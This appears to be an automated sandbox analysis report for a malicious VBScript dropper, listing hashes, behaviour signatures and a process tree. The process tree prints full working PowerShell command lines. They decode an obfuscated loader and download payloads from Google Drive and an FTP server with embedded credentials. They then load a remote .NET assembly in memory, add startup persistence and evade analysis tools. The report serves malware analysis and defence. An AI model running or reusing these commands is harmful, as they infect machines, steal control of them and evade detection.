Overview

overview

10

Static

static

1

Sign2110021001.vbs

windows7-x64

10

Sign2110021001.vbs

windows10-2004-x64

10

Analysis

  • max time kernel
    122s
  • max time network
    124s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    28-01-2025 15:27

Sharing

Copy URL
Twitter E-mail
Report Analysis Logs

General

  • Target

    Sign2110021001.vbs

  • Size

    100KB

  • MD5

    9b25db0f28312df1763fa52abea0f4a3

  • SHA1

    9ed190a2750b37e65be92d021bd53054525eee2a

  • SHA256

    d8049d67b8154e329797c1565fb96a0d56be544e3226a6bf9037b70a30f00800

  • SHA512

    9698e3be2738c788cb0348ff047699d76e92e1339acdf3e5bbeb771f7d8bd0074a1c27c97b1ca35bac227a3e17c5887c207256542d3f39d4a2025427226890b9

  • SSDEEP

    768:877777777b1iwQUsHYr46rOaI7777777777777777A:pFb6rV9

Score
10/10
execution

Malware Config

Extracted

Language
ps1
Source
URLs
exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

  • Blocklisted process makes network request 2 IoCs
  • Drops startup file 2 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

    Using powershell.exe command.

    execution
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Drops file in Windows directory 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 15 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Sign2110021001.vbs"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:2900
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $bqlcn = 'Ow' + [char]66 + '9ADsAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGUAbA' + [char]66 + 'pAEYALQAgAHMAcw' + [char]66 + 'hAHAAeQ' + [char]66 + 'CACAAeQ' + [char]66 + 'jAGkAbA' + [char]66 + 'vAFAAbg' + [char]66 + 'vAGkAdA' + [char]66 + '1AGMAZQ' + [char]66 + '4AEUALQAgAGwAbA' + [char]66 + 'lAGgAcw' + [char]66 + 'yAGUAdw' + [char]66 + 'vAHAAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAIA' + [char]66 + '6AFcAVw' + [char]66 + 'CAFYAJAAgAGgAdA' + [char]66 + 'hAFAAZQ' + [char]66 + 'sAGkARgAtACAAZQ' + [char]66 + 'sAGkARgAtAHQAdQ' + [char]66 + 'PACAAfAAgAFUAdw' + [char]66 + 'EAGUAYQAkADsAIAApACAAJwAxAHMAcAAuADMAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAHoAVw' + [char]66 + 'XAEIAVgAkADsAJwA7ACkAIAApACAAIAAnACcAbQ' + [char]66 + 'zAEEAZw' + [char]66 + 'lAFIARA' + [char]66 + 'EACAARAAnACcAIAAgACwAIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAgACwAIAAnACcAaA' + [char]66 + '0AHQAcA' + [char]66 + 'zADoALwAvAGMAbw' + [char]66 + 'uAGkAbQ' + [char]66 + 'hAGcAZQ' + [char]66 + 'uAGMAYQ' + [char]66 + 'uAGMAdQ' + [char]66 + 'uAC4AYw' + [char]66 + 'vAG0ALw' + [char]66 + '3AHgALg' + [char]66 + '0AHgAdAAnACcAIAAoACAAXQ' + [char]66 + 'dAFsAdA' + [char]66 + 'jAGUAag' + [char]66 + 'iAG8AWwAgACwAIA' + [char]66 + 'sAGwAdQ' + [char]66 + 'uACQAIAAoAGUAaw' + [char]66 + 'vAHYAbg' + [char]66 + 'JAC4AKQAgACcAJw' + [char]66 + 'JAFYARg' + [char]66 + 'yAHAAJwAnACAAKA' + [char]66 + 'kAG8AaA' + [char]66 + '0AGUAJwAgAD0AKwAgAFUAdw' + [char]66 + 'EAGUAYQAkADsAIAAnAE0AdA' + [char]66 + 'lAEcALgApACAAJwAnADEAcw' + [char]66 + 'zAGEAbA' + [char]66 + 'DAC4AMw' + [char]66 + '5AHIAYQ' + [char]66 + 'yAGIAaQ' + [char]66 + 'MAHMAcw' + [char]66 + 'hAGwAQwAnACcAIAAoAGUAcA' + [char]66 + '5AFQAdA' + [char]66 + 'lAEcAJwAgAD0AKwAgAFUAdw' + [char]66 + 'EAGUAYQAkADsAIAAnAC4AKQAgAHoAZA' + [char]66 + 'mAHkARgAkACAAKA' + [char]66 + 'kAGEAbw' + [char]66 + 'MAC4Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAdA' + [char]66 + 'uAGUAcg' + [char]66 + 'yAHUAQwA6ACcAIAArACAAJwA6AF0Abg' + [char]66 + 'pAGEAbQ' + [char]66 + 'vAEQAcA' + [char]66 + 'wAEEALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACcAIAA9ACsAIA' + [char]66 + 'VAHcARA' + [char]66 + 'lAGEAJAA7ACAAJwA7ACAAKQAgACkAJwAnAEEAJwAnACwAJwAnAJMhOgCTIScAJwAoAGUAYw' + [char]66 + 'hAGwAcA' + [char]66 + 'lAHIALg' + [char]66 + 'HAGUAYQ' + [char]66 + '5AHIAJAAgACgAZw' + [char]66 + 'uAGkAcg' + [char]66 + '0AFMANAA2AGUAcw' + [char]66 + 'hAEIAbQ' + [char]66 + 'vAHIARgA6ADoAXQ' + [char]66 + '0AHIAZQ' + [char]66 + '2AG4Abw' + [char]66 + 'DAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AHMAWwAgAD0AIA' + [char]66 + '6AGQAZg' + [char]66 + '5AEYAJAAgAF0AXQ' + [char]66 + 'bAGUAdA' + [char]66 + '5AEIAWwAnACAAPQArACAAVQ' + [char]66 + '3AEQAZQ' + [char]66 + 'hACQAOwAgACcAOwApADgARg' + [char]66 + 'UAFUAIA' + [char]66 + 'nAG4AaQ' + [char]66 + 'kAG8AYw' + [char]66 + 'uAEUALQAgACcAIAArACAAbA' + [char]66 + 'HAGYAVA' + [char]66 + 'TACQAIAArACAAJwAgAGgAdA' + [char]66 + 'hAFAALQAgAHQAbg' + [char]66 + 'lAHQAbg' + [char]66 + 'vAEMALQ' + [char]66 + '0AGUARwAoACAAPQAgAEcAZQ' + [char]66 + 'hAHkAcgAkACAAOwAgACcAJwAlAEkAaA' + [char]66 + 'xAFIAWAAlACcAJwAgAD0AIA' + [char]66 + 'NAG8Adw' + [char]66 + 'OAHMAJAAnACAAIAA9ACAAVQ' + [char]66 + '3AEQAZQ' + [char]66 + 'hACQAOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAbA' + [char]66 + 'HAGYAVA' + [char]66 + 'TACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAGUAbA' + [char]66 + 'pAEYALQAgAGUAbA' + [char]66 + 'pAEYALQ' + [char]66 + '0AHUATwAgAHwAIA' + [char]66 + '6AEgAbA' + [char]66 + 'UAHUAJAA7ACAAKQAgAEEAVQ' + [char]66 + '6AEgARAAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'OAGwAcg' + [char]66 + 'oAFAAJAAgAD0AIA' + [char]66 + '6AEgAbA' + [char]66 + 'UAHUAJAA7ACAAKQAgAFYAcA' + [char]66 + 'rAHUASgAkACAAaA' + [char]66 + '0AGEAUAAtACAAdA' + [char]66 + 'uAGUAdA' + [char]66 + 'uAG8AQwAtAHQAZQ' + [char]66 + 'HACAAKAAgAD0AIAAgAEEAVQ' + [char]66 + '6AEgARAAkADsAIAA4AEYAVA' + [char]66 + 'VADoAOg' + [char]66 + 'dAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAHQAeA' + [char]66 + 'lAFQALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAPQAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAuAE4AbA' + [char]66 + 'yAGgAUAAkADsAIA' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAVwAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACAAPQAgAE4AbA' + [char]66 + 'yAGgAUAAkADsAIAApACcAdA' + [char]66 + '4AHQALgAyADAAbA' + [char]66 + 'sAGQAJwAgACsAIAApACgAaA' + [char]66 + '0AGEAUA' + [char]66 + 'wAG0AZQ' + [char]66 + 'UAHQAZQ' + [char]66 + 'HADoAOg' + [char]66 + 'dAGgAdA' + [char]66 + 'hAFAALg' + [char]66 + 'PAEkALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bACAAKAAgAD0AIA' + [char]66 + 'sAEcAZg' + [char]66 + 'UAFMAJAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAAnADgARg' + [char]66 + 'UAFUAJwAgAGcAbg' + [char]66 + 'pAGQAbw' + [char]66 + 'jAG4ARQAtACAAVg' + [char]66 + 'wAGsAdQ' + [char]66 + 'KACQAIA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAGUAbA' + [char]66 + 'pAEYALQAgAGUAbA' + [char]66 + 'pAEYALQ' + [char]66 + '0AHUATwAgAHwAIA' + [char]66 + '2AFgAVQ' + [char]66 + 'WAFIAJAA7ACAAKQAgAHkAdA' + [char]66 + '0AHMAagAkACAAKA' + [char]66 + 'nAG4AaQ' + [char]66 + 'yAHQAUw' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + '0AG4AZQ' + [char]66 + 'pAGwAQw' + [char]66 + 'iAGUAdwAkACAAPQAgAHYAWA' + [char]66 + 'VAFYAUgAkADsAIAApAHEARw' + [char]66 + 'sAGwAbAAkACAALA' + [char]66 + 'CAEEAUQ' + [char]66 + 'RAEwAJAAoAGwAYQ' + [char]66 + 'pAHQAbg' + [char]66 + 'lAGQAZQ' + [char]66 + 'yAEMAaw' + [char]66 + 'yAG8Adw' + [char]66 + '0AGUATgAuAHQAZQ' + [char]66 + 'OAC4AbQ' + [char]66 + 'lAHQAcw' + [char]66 + '5AFMAIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIAbwAtAHcAZQ' + [char]66 + 'uACAAPQAgAHMAbA' + [char]66 + 'hAGkAdA' + [char]66 + 'uAGUAZA' + [char]66 + 'lAHIAQwAuAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + '3ACQAOwAgAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUwAgAHQAYw' + [char]66 + 'lAGoAYg' + [char]66 + 'PAC0Adw' + [char]66 + 'lAE4AIAA9ACAAdA' + [char]66 + 'uAGUAaQ' + [char]66 + 'sAEMAYg' + [char]66 + 'lAHcAJAA7ACAAKQApACAANAA2ACAALAA0ADYAIAAsADQANgAgACwANAA2ACAALAA0ADYAIAAsADQANgAgACwANgA1ACAALAA1ADUAIAAsADMANQAgACwAOQA0ACAALAA5ADgAIAAsADAAMAAxACAALAA3ADEAMQAgACwAOQA4ACAALAAyADAAMQAoAF0AXQ' + [char]66 + 'bAHIAYQ' + [char]66 + 'oAGMAWwAgAG4AaQ' + [char]66 + 'vAGoALQAoACAAPQAgAHEARw' + [char]66 + 'sAGwAbAAkADsAIAApACkAOQA0ACwANgAxADEALAA3ADkALAA0ADEAMQAsADgAOQAsADgAMQAxACwANwAwADEALAA5ADkALAA1ADEAMQAsADEAMAAxACwAMAAwADEAKA' + [char]66 + 'dAF0AWw' + [char]66 + 'yAGEAaA' + [char]66 + 'jAFsAIA' + [char]66 + 'uAGkAbw' + [char]66 + 'qAC0AKAAgAD0AIA' + [char]66 + 'CAEEAUQ' + [char]66 + 'RAEwAJAA7ACkAJw' + [char]66 + '0AHgAdAAuADEAMA' + [char]66 + 'sAGwAZAAnACAAKwAgACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAAoACAAPQAgAFYAcA' + [char]66 + 'rAHUASgAkADsAKQAgACcAdA' + [char]66 + '4AHQALgAxADAATA' + [char]66 + 'MAEQALwAxADAALwAnACAAKwAgACcAcg' + [char]66 + 'lAHQAcA' + [char]66 + '5AHIAYw' + [char]66 + 'wAFUALw' + [char]66 + 'yAGIALg' + [char]66 + 'tAG8AYwAuAHQAYQ' + [char]66 + 'yAGIAdg' + [char]66 + 'rAGMAcw' + [char]66 + 'lAGQALg' + [char]66 + 'wAHQAZg' + [char]66 + 'AADEAdA' + [char]66 + 'hAHIAYg' + [char]66 + '2AGsAYw' + [char]66 + 'zAGUAZAAvAC8AOg' + [char]66 + 'wAHQAZgAnACgAIAA9ACAAeQ' + [char]66 + '0AHQAcw' + [char]66 + 'qACQAOw' + [char]66 + '9ACAACgANADsAdA' + [char]66 + 'pAHgAZQAgACAAIAAgACAAIAAKAA0AOwAgAGUAYw' + [char]66 + 'yAG8AZgAtACAAcg' + [char]66 + 'lAHQAdQ' + [char]66 + 'wAG0Abw' + [char]66 + 'DAC0AdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAUgAKAA0AIA' + [char]66 + '7AGUAcw' + [char]66 + 'sAGUACgANAAoADQ' + [char]66 + '9AAoADQAgACAAIAAgACAAIAAgAAoADQAgAHsAKQ' + [char]66 + 'sAGwAdQ' + [char]66 + 'OACQAIA' + [char]66 + 'xAGUALQAgACkAZQ' + [char]66 + '1AG4AaQ' + [char]66 + '0AG4Abw' + [char]66 + 'DAHkAbA' + [char]66 + '0AG4AZQ' + [char]66 + 'sAGkAUwAgAGEAZQAtACAAJw' + [char]66 + 'lAHoAeQ' + [char]66 + 'sAGEAbg' + [char]66 + 'hACcALAAnAFMATg' + [char]66 + 'EAGUAdA' + [char]66 + 'hAHAAYQAnACwAJw' + [char]66 + 'rAHIAYQ' + [char]66 + 'oAHMAZQ' + [char]66 + 'yAGkAVwAnACAAcw' + [char]66 + 'zAGUAYw' + [char]66 + 'vAHIAcAAtAHQAZQ' + [char]66 + 'nACgAKA' + [char]66 + 'mAGkAOwAgADIAMQ' + [char]66 + 'zAGwAVAA6ADoAXQ' + [char]66 + 'lAHAAeQ' + [char]66 + 'UAGwAbw' + [char]66 + 'jAG8AdA' + [char]66 + 'vAHIAUA' + [char]66 + '5AHQAaQ' + [char]66 + 'yAHUAYw' + [char]66 + 'lAFMALg' + [char]66 + '0AGUATgAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAbA' + [char]66 + 'vAGMAbw' + [char]66 + '0AG8Acg' + [char]66 + 'QAHkAdA' + [char]66 + 'pAHIAdQ' + [char]66 + 'jAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bADsAIA' + [char]66 + '9AGUAdQ' + [char]66 + 'yAHQAJA' + [char]66 + '7ACAAPQAgAGsAYw' + [char]66 + 'hAGIAbA' + [char]66 + 'sAGEAQw' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAZA' + [char]66 + 'pAGwAYQ' + [char]66 + 'WAGUAdA' + [char]66 + 'hAGMAaQ' + [char]66 + 'mAGkAdA' + [char]66 + 'yAGUAQw' + [char]66 + 'yAGUAdg' + [char]66 + 'yAGUAUwA6ADoAXQ' + [char]66 + 'yAGUAZw' + [char]66 + 'hAG4AYQ' + [char]66 + 'NAHQAbg' + [char]66 + 'pAG8AUA' + [char]66 + 'lAGMAaQ' + [char]66 + '2AHIAZQ' + [char]66 + 'TAC4AdA' + [char]66 + 'lAE4ALg' + [char]66 + 'tAGUAdA' + [char]66 + 'zAHkAUw' + [char]66 + 'bAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AIA' + [char]66 + 'mAC8AIAAwACAAdAAvACAAcgAvACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'uAHcAbw' + [char]66 + 'kAHQAdQ' + [char]66 + 'oAHMAIAA7ACcAMAA4ADEAIA' + [char]66 + 'wAGUAZQ' + [char]66 + 'sAHMAJwAgAGQAbg' + [char]66 + 'hAG0AbQ' + [char]66 + 'vAGMALQAgAGUAeA' + [char]66 + 'lAC4AbA' + [char]66 + 'sAGUAaA' + [char]66 + 'zAHIAZQ' + [char]66 + '3AG8AcAA7ACAAZQ' + [char]66 + 'jAHIAbw' + [char]66 + 'mAC0AIAApACAAJw' + [char]66 + 'wAHUAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'TAFwAcw' + [char]66 + 'tAGEAcg' + [char]66 + 'nAG8Acg' + [char]66 + 'QAFwAdQ' + [char]66 + 'uAGUATQAgAHQAcg' + [char]66 + 'hAHQAUw' + [char]66 + 'cAHMAdw' + [char]66 + 'vAGQAbg' + [char]66 + 'pAFcAXA' + [char]66 + '0AGYAbw' + [char]66 + 'zAG8Acg' + [char]66 + 'jAGkATQ' + [char]66 + 'cAGcAbg' + [char]66 + 'pAG0AYQ' + [char]66 + 'vAFIAXA' + [char]66 + 'hAHQAYQ' + [char]66 + 'EAHAAcA' + [char]66 + '' + [char]66 + 'AFwAJwAgACsAIA' + [char]66 + 'aAHcAZg' + [char]66 + '3AFUAJAAgACgAIA' + [char]66 + 'uAG8AaQ' + [char]66 + '0AGEAbg' + [char]66 + 'pAHQAcw' + [char]66 + 'lAEQALQAgACcAJQ' + [char]66 + 'JAGgAcQ' + [char]66 + 'SAFgAJQAnACAAbQ' + [char]66 + 'lAHQASQAtAHkAcA' + [char]66 + 'vAEMAIAA7ACAAdA' + [char]66 + 'yAGEAdA' + [char]66 + 'zAGUAcg' + [char]66 + 'vAG4ALwAgAHQAZQ' + [char]66 + 'pAHUAcQAvACAAWA' + [char]66 + 'HAEMAQw' + [char]66 + 'KACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'hAHMAdQ' + [char]66 + '3ACAAZQ' + [char]66 + '4AGUALg' + [char]66 + 'sAGwAZQ' + [char]66 + 'oAHMAcg' + [char]66 + 'lAHcAbw' + [char]66 + 'wACAAOwApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACgAIAA9ACAAWA' + [char]66 + 'HAEMAQw' + [char]66 + 'KADsAKQAgAGUAbQ' + [char]66 + 'hAE4Acg' + [char]66 + 'lAHMAVQA6ADoAXQ' + [char]66 + '0AG4AZQ' + [char]66 + 'tAG4Abw' + [char]66 + 'yAGkAdg' + [char]66 + 'uAEUAWwAgACsAIAAnAFwAcw' + [char]66 + 'yAGUAcw' + [char]66 + 'VAFwAOg' + [char]66 + 'DACcAKAAgAD0AIA' + [char]66 + 'aAHcAZg' + [char]66 + '3AFUAJAA7ACkAIAApACcAdQ' + [char]66 + 'zAG0ALg' + [char]66 + 'uAGkAdw' + [char]66 + 'wAFUAXAAnACAAKwAgAGoATQ' + [char]66 + 'PAHoASAAkACgAIAAsAGwAZw' + [char]66 + '5AHcAdwAkACgAZQ' + [char]66 + 'sAGkARg' + [char]66 + 'kAGEAbw' + [char]66 + 'sAG4Adw' + [char]66 + 'vAEQALg' + [char]66 + 'nAHYAeg' + [char]66 + '5AHMAJAA7ADgARg' + [char]66 + 'UAFUAOgA6AF0AZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AdA' + [char]66 + '4AGUAVAAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAZw' + [char]66 + 'uAGkAZA' + [char]66 + 'vAGMAbg' + [char]66 + 'FAC4AZw' + [char]66 + '2AHoAeQ' + [char]66 + 'zACQAOwApAHQAbg' + [char]66 + 'lAGkAbA' + [char]66 + 'DAGIAZQ' + [char]66 + 'XAC4AdA' + [char]66 + 'lAE4AIA' + [char]66 + '0AGMAZQ' + [char]66 + 'qAGIATwAtAHcAZQ' + [char]66 + 'OACgAIAA9ACAAZw' + [char]66 + '2AHoAeQ' + [char]66 + 'zACQAOw' + [char]66 + '9ADsAIAApACcAdwA1ADAAWgAxADgAdQ' + [char]66 + 'jADcAWg' + [char]66 + 'NAEsAOAA4AGcAZQ' + [char]66 + '0AGgAag' + [char]66 + 'uAEEAcA' + [char]66 + 'qADEATA' + [char]66 + 'CAC0ANA' + [char]66 + '5AEgAYQ' + [char]66 + 'hADEAJwAgACsAIA' + [char]66 + 'sAGcAeQ' + [char]66 + '3AHcAJAAoACAAPQAgAGwAZw' + [char]66 + '5AHcAdwAkAHsAIA' + [char]66 + 'lAHMAbA' + [char]66 + 'lAH0AOwAgACkAJw' + [char]66 + 'WAEUAUw' + [char]66 + 'kAGoAdw' + [char]66 + 'VADkANQ' + [char]66 + 'SAC0AVw' + [char]66 + 'zAFkAdQ' + [char]66 + 'aAEwAaQ' + [char]66 + '3AHIAYgA1AFkATg' + [char]66 + 'RAC0ASA' + [char]66 + 'qAHIAYgAyAHAAMQAnACAAKwAgAGwAZw' + [char]66 + '5AHcAdwAkACgAIAA9ACAAbA' + [char]66 + 'nAHkAdw' + [char]66 + '3ACQAewAgACkAIA' + [char]66 + 'pAGYAbQ' + [char]66 + '1AFgAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAJwA0ADYAJwAoAHMAbg' + [char]66 + 'pAGEAdA' + [char]66 + 'uAG8AQwAuAEUAUg' + [char]66 + 'VAFQAQw' + [char]66 + 'FAFQASQ' + [char]66 + 'IAEMAUg' + [char]66 + '' + [char]66 + 'AF8AUg' + [char]66 + 'PAFMAUw' + [char]66 + 'FAEMATw' + [char]66 + 'SAFAAOg' + [char]66 + '2AG4AZQAkACAAPQAgAGkAZg' + [char]66 + 'tAHUAWAAkADsAJwA9AGQAaQAmAGQAYQ' + [char]66 + 'vAGwAbg' + [char]66 + '3AG8AZAA9AHQAcg' + [char]66 + 'vAHAAeA' + [char]66 + 'lAD8AYw' + [char]66 + '1AC8AbQ' + [char]66 + 'vAGMALg' + [char]66 + 'lAGwAZw' + [char]66 + 'vAG8AZwAuAGUAdg' + [char]66 + 'pAHIAZAAvAC8AOg' + [char]66 + 'zAHAAdA' + [char]66 + '0AGgAJwAgAD0AIA' + [char]66 + 'sAGcAeQ' + [char]66 + '3AHcAJAA7ACkAIAAnAHUAcw' + [char]66 + 'tAC4Abg' + [char]66 + 'pAHcAcA' + [char]66 + 'VAFwAJwAgACsAIA' + [char]66 + 'qAE0ATw' + [char]66 + '6AEgAJAAgACgAIA' + [char]66 + 'sAGUAZAA7ACkAKA' + [char]66 + 'oAHQAYQ' + [char]66 + 'QAHAAbQ' + [char]66 + 'lAFQAdA' + [char]66 + 'lAEcAOgA6AF0AaA' + [char]66 + '0AGEAUAAuAE8ASQAuAG0AZQ' + [char]66 + '0AHMAeQ' + [char]66 + 'TAFsAIAA9ACAAag' + [char]66 + 'NAE8Aeg' + [char]66 + 'IACQAewAgACkAIA' + [char]66 + 'DAGUATw' + [char]66 + 'JAGMAJAAgACgAIA' + [char]66 + 'mAGkAOwAgACkAMgAoAHMAbA' + [char]66 + 'hAHUAcQ' + [char]66 + 'FAC4Acg' + [char]66 + 'vAGoAYQ' + [char]66 + 'NAC4Abg' + [char]66 + 'vAGkAcw' + [char]66 + 'yAGUAVgAuAHQAcw' + [char]66 + 'vAGgAJAAgAD0AIA' + [char]66 + 'DAGUATw' + [char]66 + 'JAGMAJAAgADsA';$bqlcn = $bqlcn.replace('уЦϚ' , 'B') ;;$vkjyk = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $bqlcn ) ); $vkjyk = $vkjyk[-1..-$vkjyk.Length] -join '';$vkjyk = $vkjyk.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\Sign2110021001.vbs');powershell $vkjyk
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2164
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $cIOeC = $host.Version.Major.Equals(2) ;if ( $cIOeC ) {$HzOMj = [System.IO.Path]::GetTempPath();del ( $HzOMj + '\Upwin.msu' );$wwygl = 'https://drive.google.com/uc?export=download&id=';$Xumfi = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $Xumfi ) {$wwygl = ($wwygl + '1p2brjH-QNY5brwiLZuYsW-R59UwjdSEV') ;}else {$wwygl = ($wwygl + '1aaHy4-BL1jpAnjhteg88KMZ7cu81Z05w') ;};$syzvg = (New-Object Net.WebClient);$syzvg.Encoding = [System.Text.Encoding]::UTF8;$syzvg.DownloadFile($wwygl, ($HzOMj + '\Upwin.msu') );$UwfwZ = ('C:\Users\' + [Environment]::UserName );JCCGX = ($HzOMj + '\Upwin.msu'); powershell.exe wusa.exe JCCGX /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\Sign2110021001.vbs' -Destination ( $UwfwZ + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true} ;[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12 ;if((get-process 'Wireshark','apateDNS','analyze' -ea SilentlyContinue) -eq $Null){ } else{ Restart-Computer -force ; exit; };$jstty = ('ftp://[email protected]/Upcrypter' + '/01/DLL01.txt' );$JukpV = ( [System.IO.Path]::GetTempPath() + 'dll01.txt');$LQQAB = (-join [char[]](100,101,115,99,107,118,98,114,97,116,49)) ;$lllGq = (-join [char[]](102, 89, 117, 100, 89, 49, 53, 55, 56, 64, 64, 64, 64, 64, 64 )) ;$webClient = New-Object System.Net.WebClient ;$webClient.Credentials = new-object System.Net.NetworkCredential($LQQAB, $lllGq) ;$RVUXv = $webClient.DownloadString( $jstty ) ;$RVUXv | Out-File -FilePath $JukpV -Encoding 'UTF8' -force ;$STfGl = ( [System.IO.Path]::GetTempPath() + 'dll02.txt') ;$PhrlN = New-Object System.Net.WebClient ;$PhrlN.Encoding = [System.Text.Encoding]::UTF8 ;$DHzUA = ( Get-Content -Path $JukpV ) ;$uTlHz = $PhrlN.DownloadString( $DHzUA ) ;$uTlHz | Out-File -FilePath $STfGl -force ;$aeDwU = '$sNwoM = ''C:\Users\Admin\AppData\Local\Temp\Sign2110021001.vbs'' ; $ryaeG = (Get-Content -Path ' + $STfGl + ' -Encoding UTF8);' ;$aeDwU += '[Byte[]] $Fyfdz = [system.Convert]::FromBase64String( $ryaeG.replace(''↓:↓'',''A'') ) ;' ;$aeDwU += '[System.AppDomain]:' + ':CurrentDomain.Load( $Fyfdz ).' ;$aeDwU += 'GetType( ''ClassLibrary3.Class1'' ).GetM' ;$aeDwU += 'ethod( ''prFVI'' ).Invoke( $null , [object[]] ( ''txt.xw/moc.nucnacnegaminoc//:sptth'' , $sNwoM , ''D DDRegAsm'' ) );';$VBWWz = ( [System.IO.Path]::GetTempPath() + 'dll03.ps1' ) ;$aeDwU | Out-File -FilePath $VBWWz -force ;powershell -ExecutionPolicy Bypass -File $VBWWz ;};"
        3⤵
        • Blocklisted process makes network request
        • Drops startup file
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:2096
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe JCCGX /quiet /norestart
          4⤵
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:2944
          • C:\Windows\system32\wusa.exe
            "C:\Windows\system32\wusa.exe" JCCGX /quiet /norestart
            5⤵
            • Drops file in Windows directory
            PID:2640
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
          4⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:2628

Network

